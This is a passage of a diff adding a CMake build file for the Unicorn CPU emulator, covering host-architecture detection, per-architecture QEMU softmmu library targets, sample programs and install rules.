"/MD" "/MT" CMAKE_C_FLAGS_DEBUG ${CMAKE_C_FLAGS_DEBUG}) + string(REPLACE "/MD" "/MT" CMAKE_C_FLAGS_RELEASE ${CMAKE_C_FLAGS_RELEASE}) + endif() +else() + # detect host arch. + execute_process(COMMAND ${CMAKE_C_COMPILER} -dM -E - + INPUT_FILE /dev/null + OUTPUT_VARIABLE UC_COMPILER_MACRO) + + while(TRUE) + string(FIND ${UC_COMPILER_MACRO} "__x86_64__" UC_RET) + if (${UC_RET} GREATER "0") + set(UNICORN_TARGET_ARCH "i386") + break() + endif() + string(FIND ${UC_COMPILER_MACRO} "__i386__" UC_RET) + if (${UC_RET} GREATER "0") + set(UNICORN_TARGET_ARCH "i386") + break() + endif() + string(FIND ${UC_COMPILER_MACRO} "__arm__" UC_RET) + if (${UC_RET} GREATER "0") + set(UNICORN_TARGET_ARCH "arm") + break() + endif() + string(FIND ${UC_COMPILER_MACRO} "__aarch64__" UC_RET) + if (${UC_RET} GREATER "0") + set(UNICORN_TARGET_ARCH "aarch64") + break() + endif() + string(FIND ${UC_COMPILER_MACRO} "__mips__" UC_RET) + if (${UC_RET} GREATER "0") + set(UNICORN_TARGET_ARCH "mips") + break() + endif() + string(FIND ${UC_COMPILER_MACRO} "__sparc__" UC_RET) + if (${UC_RET} GREATER "0") + set(UNICORN_TARGET_ARCH "sparc") + break() + endif() + string(FIND ${UC_COMPILER_MACRO} "__ia64__" UC_RET) + if (${UC_RET} GREATER "0") + set(UNICORN_TARGET_ARCH "ia64") + break() + endif() + string(FIND ${UC_COMPILER_MACRO} "_ARCH_PPC" UC_RET) + if (${UC_RET} GREATER "0") + set(UNICORN_TARGET_ARCH "ppc") + break() + endif() + string(FIND ${UC_COMPILER_MACRO} "__s390__" UC_RET) + if (${UC_RET} GREATER "0") + set(UNICORN_TARGET_ARCH "s390") + break() + endif() + message(FATAL_ERROR "Unknown host compiler: ${CMAKE_C_COMPILER}.") + endwhile(TRUE) + + set(EXTRA_CFLAGS "--extra-cflags=") + if (UNICORN_HAS_X86) + set (EXTRA_CFLAGS "${EXTRA_CFLAGS}-DUNICORN_HAS_X86 ") + endif() + if (UNICORN_HAS_ARM) + set (EXTRA_CFLAGS "${EXTRA_CFLAGS}-DUNICORN_HAS_ARM -DUNICORN_HAS_ARMEB ") + endif() + if (UNICORN_HAS_AARCH64) + set (EXTRA_CFLAGS "${EXTRA_CFLAGS}-DUNICORN_HAS_ARM64 -DUNICORN_HAS_ARM64EB ") + endif() + if (UNICORN_HAS_M68K) + set (EXTRA_CFLAGS "${EXTRA_CFLAGS}-DUNICORN_HAS_M68K ") + endif() + if (UNICORN_HAS_MIPS) + set (EXTRA_CFLAGS "${EXTRA_CFLAGS}-DUNICORN_HAS_MIPS -DUNICORN_HAS_MIPSEL -DUNICORN_HAS_MIPS64 -DUNICORN_HAS_MIPS64EL ") + endif() + if (UNICORN_HAS_SPARC) + set (EXTRA_CFLAGS "${EXTRA_CFLAGS}-DUNICORN_HAS_SPARC ") + endif() + set (EXTRA_CFLAGS "${EXTRA_CFLAGS}-fPIC -fvisibility=hidden") + + set(TARGET_LIST "--target-list=") + if (UNICORN_HAS_X86) + set (TARGET_LIST "${TARGET_LIST}x86_64-softmmu, ") + endif() + if (UNICORN_HAS_ARM) + set (TARGET_LIST "${TARGET_LIST}arm-softmmu, armeb-softmmu, ") + endif() + if (UNICORN_HAS_AARCH64) + set (TARGET_LIST "${TARGET_LIST}aarch64-softmmu, aarch64eb-softmmu, ") + endif() + if (UNICORN_HAS_M68K) + set (TARGET_LIST "${TARGET_LIST}m68k-softmmu, ") + endif() + if (UNICORN_HAS_MIPS) + set (TARGET_LIST "${TARGET_LIST}mips-softmmu, mipsel-softmmu, mips64-softmmu, mips64el-softmmu, ") + endif() + if (UNICORN_HAS_SPARC) + set (TARGET_LIST "${TARGET_LIST}sparc-softmmu, sparc64-softmmu, ") + endif() + set (TARGET_LIST "${TARGET_LIST} ") + + # GEN config-host.mak & target directories + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/configure + ${EXTRA_CFLAGS} + ${TARGET_LIST} + WORKING_DIRECTORY ${CMAKE_BINARY_DIR} + ) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/config-host.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/config-host.h + ) + if (UNICORN_HAS_X86) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/x86_64-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/x86_64-softmmu/config-target.h + ) + endif() + if (UNICORN_HAS_ARM) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/arm-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/arm-softmmu/config-target.h + ) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/armeb-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/armeb-softmmu/config-target.h + ) + endif() + if (UNICORN_HAS_AARCH64) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/aarch64-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/aarch64-softmmu/config-target.h + ) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/aarch64eb-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/aarch64eb-softmmu/config-target.h + ) + endif() + if (UNICORN_HAS_M68K) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/m68k-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/m68k-softmmu/config-target.h + ) + endif() + if (UNICORN_HAS_MIPS) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/mips-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/mips-softmmu/config-target.h + ) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/mipsel-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/mipsel-softmmu/config-target.h + ) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/mips64-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/mips64-softmmu/config-target.h + ) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/mips64el-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/mips64el-softmmu/config-target.h + ) + endif() + if (UNICORN_HAS_SPARC) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/sparc-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/sparc-softmmu/config-target.h + ) + execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/scripts/create_config + INPUT_FILE ${CMAKE_BINARY_DIR}/sparc64-softmmu/config-target.mak + OUTPUT_FILE ${CMAKE_BINARY_DIR}/sparc64-softmmu/config-target.h + ) + endif() + add_compile_options( + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/tcg/${UNICORN_TARGET_ARCH} + -D_GNU_SOURCE + -D_FILE_OFFSET_BITS=64 + -D_LARGEFILE_SOURCE + -Wall -O2 + -fPIC -fpic -fvisibility=hidden + ) +endif() + +if (UNICORN_HAS_X86) +add_library(x86_64-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/i386/pc.c + qemu/hw/i386/pc_piix.c + qemu/hw/intc/apic.c + qemu/hw/intc/apic_common.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-i386/arch_memory_mapping.c + qemu/target-i386/cc_helper.c + qemu/target-i386/cpu.c + qemu/target-i386/excp_helper.c + qemu/target-i386/fpu_helper.c + qemu/target-i386/helper.c + qemu/target-i386/int_helper.c + qemu/target-i386/mem_helper.c + qemu/target-i386/misc_helper.c + qemu/target-i386/seg_helper.c + qemu/target-i386/smm_helper.c + qemu/target-i386/svm_helper.c + qemu/target-i386/translate.c + qemu/target-i386/unicorn.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(x86_64-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(x86_64-softmmu PRIVATE + -DNEED_CPU_H + /FIx86_64.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/x86_64-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-i386 + ) +else() + target_compile_options(x86_64-softmmu PRIVATE + -DNEED_CPU_H + -include x86_64.h + -I${CMAKE_BINARY_DIR}/x86_64-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-i386 + ) +endif() +endif() + +if (UNICORN_HAS_ARM) +add_library(arm-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/arm/tosa.c + qemu/hw/arm/virt.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-arm/cpu.c + qemu/target-arm/crypto_helper.c + qemu/target-arm/helper.c + qemu/target-arm/iwmmxt_helper.c + qemu/target-arm/neon_helper.c + qemu/target-arm/op_helper.c + qemu/target-arm/psci.c + qemu/target-arm/translate.c + qemu/target-arm/unicorn_arm.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(arm-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(arm-softmmu PRIVATE + -DNEED_CPU_H + /FIarm.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/arm-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-arm + ) +else() + target_compile_options(arm-softmmu PRIVATE + -DNEED_CPU_H + -include arm.h + -I${CMAKE_BINARY_DIR}/arm-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-arm + ) +endif() + +add_library(armeb-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/arm/tosa.c + qemu/hw/arm/virt.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-arm/cpu.c + qemu/target-arm/crypto_helper.c + qemu/target-arm/helper.c + qemu/target-arm/iwmmxt_helper.c + qemu/target-arm/neon_helper.c + qemu/target-arm/op_helper.c + qemu/target-arm/psci.c + qemu/target-arm/translate.c + qemu/target-arm/unicorn_arm.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(armeb-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(armeb-softmmu PRIVATE + -DNEED_CPU_H + /FIarmeb.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/armeb-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-arm + ) +else() + target_compile_options(armeb-softmmu PRIVATE + -DNEED_CPU_H + -include armeb.h + -I${CMAKE_BINARY_DIR}/armeb-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-arm + ) +endif() +endif() + +if (UNICORN_HAS_AARCH64) +add_library(aarch64-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/arm/tosa.c + qemu/hw/arm/virt.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-arm/cpu.c + qemu/target-arm/cpu64.c + qemu/target-arm/crypto_helper.c + qemu/target-arm/helper-a64.c + qemu/target-arm/helper.c + qemu/target-arm/iwmmxt_helper.c + qemu/target-arm/neon_helper.c + qemu/target-arm/op_helper.c + qemu/target-arm/psci.c + qemu/target-arm/translate-a64.c + qemu/target-arm/translate.c + qemu/target-arm/unicorn_aarch64.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(aarch64-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(aarch64-softmmu PRIVATE + -DNEED_CPU_H + /FIaarch64.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/aarch64-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-arm + ) +else() + target_compile_options(aarch64-softmmu PRIVATE + -DNEED_CPU_H + -include aarch64.h + -I${CMAKE_BINARY_DIR}/aarch64-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-arm + ) +endif() + +add_library(aarch64eb-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/arm/tosa.c + qemu/hw/arm/virt.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-arm/cpu.c + qemu/target-arm/cpu64.c + qemu/target-arm/crypto_helper.c + qemu/target-arm/helper-a64.c + qemu/target-arm/helper.c + qemu/target-arm/iwmmxt_helper.c + qemu/target-arm/neon_helper.c + qemu/target-arm/op_helper.c + qemu/target-arm/psci.c + qemu/target-arm/translate-a64.c + qemu/target-arm/translate.c + qemu/target-arm/unicorn_aarch64.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(aarch64eb-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(aarch64eb-softmmu PRIVATE + -DNEED_CPU_H + /FIaarch64eb.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/aarch64eb-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-arm + ) +else() + target_compile_options(aarch64eb-softmmu PRIVATE + -DNEED_CPU_H + -include aarch64eb.h + -I${CMAKE_BINARY_DIR}/aarch64eb-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-arm + ) +endif() +endif() + +if (UNICORN_HAS_M68K) +add_library(m68k-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/m68k/dummy_m68k.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-m68k/cpu.c + qemu/target-m68k/helper.c + qemu/target-m68k/op_helper.c + qemu/target-m68k/translate.c + qemu/target-m68k/unicorn.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(m68k-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(m68k-softmmu PRIVATE + -DNEED_CPU_H + /FIm68k.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/m68k-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-m68k + ) +else() + target_compile_options(m68k-softmmu PRIVATE + -DNEED_CPU_H + -include m68k.h + -I${CMAKE_BINARY_DIR}/m68k-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-m68k + ) +endif() +endif() + +if (UNICORN_HAS_MIPS) +add_library(mips-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/mips/addr.c + qemu/hw/mips/cputimer.c + qemu/hw/mips/mips_r4k.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-mips/cpu.c + qemu/target-mips/dsp_helper.c + qemu/target-mips/helper.c + qemu/target-mips/lmi_helper.c + qemu/target-mips/msa_helper.c + qemu/target-mips/op_helper.c + qemu/target-mips/translate.c + qemu/target-mips/unicorn.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(mips-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(mips-softmmu PRIVATE + -DNEED_CPU_H + /FImips.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/mips-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-mips + ) +else() + target_compile_options(mips-softmmu PRIVATE + -DNEED_CPU_H + -include mips.h + -I${CMAKE_BINARY_DIR}/mips-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-mips + ) +endif() + +add_library(mipsel-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/mips/addr.c + qemu/hw/mips/cputimer.c + qemu/hw/mips/mips_r4k.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-mips/cpu.c + qemu/target-mips/dsp_helper.c + qemu/target-mips/helper.c + qemu/target-mips/lmi_helper.c + qemu/target-mips/msa_helper.c + qemu/target-mips/op_helper.c + qemu/target-mips/translate.c + qemu/target-mips/unicorn.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(mipsel-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(mipsel-softmmu PRIVATE + -DNEED_CPU_H + /FImipsel.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/mipsel-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-mips + ) +else() + target_compile_options(mipsel-softmmu PRIVATE + -DNEED_CPU_H + -include mipsel.h + -I${CMAKE_BINARY_DIR}/mipsel-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-mips + ) +endif() + +add_library(mips64-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/mips/addr.c + qemu/hw/mips/cputimer.c + qemu/hw/mips/mips_r4k.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-mips/cpu.c + qemu/target-mips/dsp_helper.c + qemu/target-mips/helper.c + qemu/target-mips/lmi_helper.c + qemu/target-mips/msa_helper.c + qemu/target-mips/op_helper.c + qemu/target-mips/translate.c + qemu/target-mips/unicorn.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(mips64-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(mips64-softmmu PRIVATE + -DNEED_CPU_H + /FImips64.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/mips64-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-mips + ) +else() + target_compile_options(mips64-softmmu PRIVATE + -DNEED_CPU_H + -include mips64.h + -I${CMAKE_BINARY_DIR}/mips64-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-mips + ) +endif() + +add_library(mips64el-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/mips/addr.c + qemu/hw/mips/cputimer.c + qemu/hw/mips/mips_r4k.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-mips/cpu.c + qemu/target-mips/dsp_helper.c + qemu/target-mips/helper.c + qemu/target-mips/lmi_helper.c + qemu/target-mips/msa_helper.c + qemu/target-mips/op_helper.c + qemu/target-mips/translate.c + qemu/target-mips/unicorn.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(mips64el-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(mips64el-softmmu PRIVATE + -DNEED_CPU_H + /FImips64el.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/mips64el-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-mips + ) +else() + target_compile_options(mips64el-softmmu PRIVATE + -DNEED_CPU_H + -include mips64el.h + -I${CMAKE_BINARY_DIR}/mips64el-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-mips + ) +endif() +endif() + +if (UNICORN_HAS_SPARC) +add_library(sparc-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/sparc/leon3.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-sparc/cc_helper.c + qemu/target-sparc/cpu.c + qemu/target-sparc/fop_helper.c + qemu/target-sparc/helper.c + qemu/target-sparc/int32_helper.c + qemu/target-sparc/ldst_helper.c + qemu/target-sparc/mmu_helper.c + qemu/target-sparc/translate.c + qemu/target-sparc/unicorn.c + qemu/target-sparc/win_helper.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(sparc-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(sparc-softmmu PRIVATE + -DNEED_CPU_H + /FIsparc.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/sparc-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-sparc + ) +else() + target_compile_options(sparc-softmmu PRIVATE + -DNEED_CPU_H + -include sparc.h + -I${CMAKE_BINARY_DIR}/sparc-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-sparc + ) +endif() + +add_library(sparc64-softmmu + qemu/cpu-exec.c + qemu/cpus.c + qemu/cputlb.c + qemu/exec.c + qemu/fpu/softfloat.c + qemu/hw/sparc64/sun4u.c + qemu/ioport.c + qemu/memory.c + qemu/memory_mapping.c + qemu/target-sparc/cc_helper.c + qemu/target-sparc/cpu.c + qemu/target-sparc/fop_helper.c + qemu/target-sparc/helper.c + qemu/target-sparc/int64_helper.c + qemu/target-sparc/ldst_helper.c + qemu/target-sparc/mmu_helper.c + qemu/target-sparc/translate.c + qemu/target-sparc/unicorn64.c + qemu/target-sparc/vis_helper.c + qemu/target-sparc/win_helper.c + qemu/tcg/optimize.c + qemu/tcg/tcg.c + qemu/translate-all.c +) +if (NOT UNICORN_BUILD_SHARED) + target_link_libraries(sparc64-softmmu unicorn) +endif() + +if(MSVC) + target_compile_options(sparc64-softmmu PRIVATE + -DNEED_CPU_H + /FIsparc64.h + /I${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/sparc64-softmmu + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-sparc + ) +else() + target_compile_options(sparc64-softmmu PRIVATE + -DNEED_CPU_H + -include sparc64.h + -I${CMAKE_BINARY_DIR}/sparc64-softmmu + -I${CMAKE_CURRENT_SOURCE_DIR}/qemu/target-sparc + ) +endif() +endif() + +set(UNICORN_SRCS_COMMON + list.c + qemu/accel.c + qemu/glib_compat.c + qemu/hw/core/machine.c + qemu/hw/core/qdev.c + qemu/qapi/qapi-dealloc-visitor.c + qemu/qapi/qapi-visit-core.c + qemu/qapi/qmp-input-visitor.c + qemu/qapi/qmp-output-visitor.c + qemu/qapi/string-input-visitor.c + qemu/qemu-log.c + qemu/qemu-timer.c + qemu/qobject/qbool.c + qemu/qobject/qdict.c + qemu/qobject/qerror.c + qemu/qobject/qfloat.c + qemu/qobject/qint.c + qemu/qobject/qlist.c + qemu/qobject/qstring.c + qemu/qom/container.c + qemu/qom/cpu.c + qemu/qom/object.c + qemu/qom/qom-qobject.c + qemu/tcg-runtime.c + qemu/util/aes.c + qemu/util/bitmap.c + qemu/util/bitops.c + qemu/util/crc32c.c + qemu/util/cutils.c + qemu/util/error.c + qemu/util/getauxval.c + qemu/util/host-utils.c + qemu/util/module.c + qemu/util/qemu-timer-common.c + qemu/vl.c + uc.c +) + +if (MSVC) + set(UNICORN_SRCS + ${UNICORN_SRCS_COMMON} + qemu/util/oslib-win32.c + qemu/util/qemu-thread-win32.c + qemu/util/qemu-error.c + ${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/qapi-types.c + ${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn/qapi-visit.c + ) + if(CMAKE_SIZEOF_VOID_P EQUAL 8) + enable_language(ASM_MASM) + set(UNICORN_SRCS ${UNICORN_SRCS} qemu/util/setjmp-wrapper-win32.asm) + endif() +else() + set(UNICORN_SRCS + ${UNICORN_SRCS_COMMON} + qemu/util/oslib-posix.c + qemu/util/qemu-thread-posix.c + qemu/qapi-types.c + qemu/qapi-visit.c + ) +endif() + +if (UNICORN_BUILD_SHARED) + add_library(unicorn SHARED + ${UNICORN_SRCS} + ) +else() + add_library(unicorn STATIC + ${UNICORN_SRCS} + ) +endif() + +if (UNICORN_HAS_X86) + set(UNICORN_COMPILE_OPTIONS ${UNICORN_COMPILE_OPTIONS} -DUNICORN_HAS_X86) + set(UNICORN_LINK_LIBRARIES ${UNICORN_LINK_LIBRARIES} x86_64-softmmu) + set(UNICORN_SAMPLE_FILE ${UNICORN_SAMPLE_FILE} sample_x86 sample_x86_32_gdt_and_seg_regs sample_batch_reg mem_apis shellcode) +endif() +if (UNICORN_HAS_ARM) + set(UNICORN_COMPILE_OPTIONS ${UNICORN_COMPILE_OPTIONS} -DUNICORN_HAS_ARM -DUNICORN_HAS_ARMEB) + set(UNICORN_LINK_LIBRARIES ${UNICORN_LINK_LIBRARIES} arm-softmmu armeb-softmmu) + set(UNICORN_SAMPLE_FILE ${UNICORN_SAMPLE_FILE} sample_arm sample_armeb) +endif() +if (UNICORN_HAS_AARCH64) + set(UNICORN_COMPILE_OPTIONS ${UNICORN_COMPILE_OPTIONS} -DUNICORN_HAS_ARM64) + set(UNICORN_LINK_LIBRARIES ${UNICORN_LINK_LIBRARIES} aarch64-softmmu aarch64eb-softmmu) + set(UNICORN_SAMPLE_FILE ${UNICORN_SAMPLE_FILE} sample_arm64 sample_arm64eb) +endif() +if (UNICORN_HAS_M68K) + set(UNICORN_COMPILE_OPTIONS ${UNICORN_COMPILE_OPTIONS} -DUNICORN_HAS_M68K) + set(UNICORN_LINK_LIBRARIES ${UNICORN_LINK_LIBRARIES} m68k-softmmu) + set(UNICORN_SAMPLE_FILE ${UNICORN_SAMPLE_FILE} sample_m68k) +endif() +if (UNICORN_HAS_MIPS) + set(UNICORN_COMPILE_OPTIONS ${UNICORN_COMPILE_OPTIONS} -DUNICORN_HAS_MIPS -DUNICORN_HAS_MIPSEL -DUNICORN_HAS_MIPS64 -DUNICORN_HAS_MIPS64EL) + set(UNICORN_LINK_LIBRARIES ${UNICORN_LINK_LIBRARIES} mips-softmmu mipsel-softmmu mips64-softmmu mips64el-softmmu) + set(UNICORN_SAMPLE_FILE ${UNICORN_SAMPLE_FILE} sample_mips) +endif() +if (UNICORN_HAS_SPARC) + set(UNICORN_COMPILE_OPTIONS ${UNICORN_COMPILE_OPTIONS} -DUNICORN_HAS_SPARC) + set(UNICORN_LINK_LIBRARIES ${UNICORN_LINK_LIBRARIES} sparc-softmmu sparc64-softmmu) + set(UNICORN_SAMPLE_FILE ${UNICORN_SAMPLE_FILE} sample_sparc) +endif() + +target_compile_options(unicorn PRIVATE + ${UNICORN_COMPILE_OPTIONS} +) + +if(MSVC) + if (UNICORN_BUILD_SHARED) + target_compile_options(unicorn PRIVATE + -DUNICORN_SHARED + ) + endif() + + target_link_libraries(unicorn + ${UNICORN_LINK_LIBRARIES} + ) +else() + target_link_libraries(unicorn + ${UNICORN_LINK_LIBRARIES} + m + ) + set_target_properties(unicorn PROPERTIES + VERSION ${UNICORN_VERSION_MAJOR} + SOVERSION ${UNICORN_VERSION_MAJOR} + ) +endif() + +if(MSVC) + set(SAMPLES_LIB + unicorn + ) +else() + set(SAMPLES_LIB + unicorn + pthread + ) +endif() + +foreach(SAMPLE_FILE ${UNICORN_SAMPLE_FILE}) + add_executable(${SAMPLE_FILE} + ${CMAKE_CURRENT_SOURCE_DIR}/samples/${SAMPLE_FILE}.c + ) + target_link_libraries(${SAMPLE_FILE} + ${SAMPLES_LIB} + ) +endforeach(SAMPLE_FILE) + +if(NOT MSVC) + include("GNUInstallDirs") + file(GLOB UNICORN_HEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/unicorn/*.h) + install(TARGETS unicorn + RUNTIME DESTINATION bin + ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR} + LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR} + ) + install(FILES ${UNICORN_HEADERS} DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}/unicorn) + file(WRITE ${CMAKE_BINARY_DIR}/unicorn.pc "Name: unicorn\n\ +Description: Unicorn emulator engine\n\ +Version: 